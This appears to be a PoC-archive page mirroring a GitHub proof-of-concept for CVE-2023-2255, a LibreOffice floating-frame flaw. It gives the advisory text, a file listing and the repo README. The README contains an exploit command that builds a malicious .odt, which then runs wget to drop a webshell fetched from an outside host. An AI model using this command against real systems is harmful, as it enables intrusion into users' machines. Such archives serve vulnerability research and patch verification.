Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%
Buy Us a Coffee

CVE-2023-2255 PoC — Remote documents loaded without prompt via IFrame

Source
https://github.com/elweth-sec/CVE-2023-2255
Associated Vulnerability
Title:Remote documents loaded without prompt via IFrame (CVE-2023-2255)
Description:Improper access control in editor components of The Document Foundation LibreOffice allowed an attacker to craft a document that would cause external links to be loaded without prompt. In the affected versions of LibreOffice documents that used "floating frames" linked to external files, would load the contents of those frames without prompting the user for permission to do so. This was inconsistent with the treatment of other linked content in LibreOffice. This issue affects: The Document Foundation LibreOffice 7.4 versions prior to 7.4.7; 7.5 versions prior to 7.5.3.
Description
CVE-2023-2255 Libre Office
Readme
# CVE-2023-2255

CVE-2023-2255 RCE & load of external ressources found by [@Icare1337](https://twitter.com/icare1337)

- https://nvd.nist.gov/vuln/detail/CVE-2023-2255

# Exploit

Just an example to drop a webshell in current directory.

```bash
python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'
```
File Snapshot

 [4.0K]  /data/pocs/ab617d8677244e98e335fad50d2191a9c2f81b80
├── [1.3K]  CVE-2023-2255.py
├── [ 388]  README.md
├── [4.0K]  samples
│   └── [9.2K]  test.odt
└── [  25]  webshell.php

1 directory, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →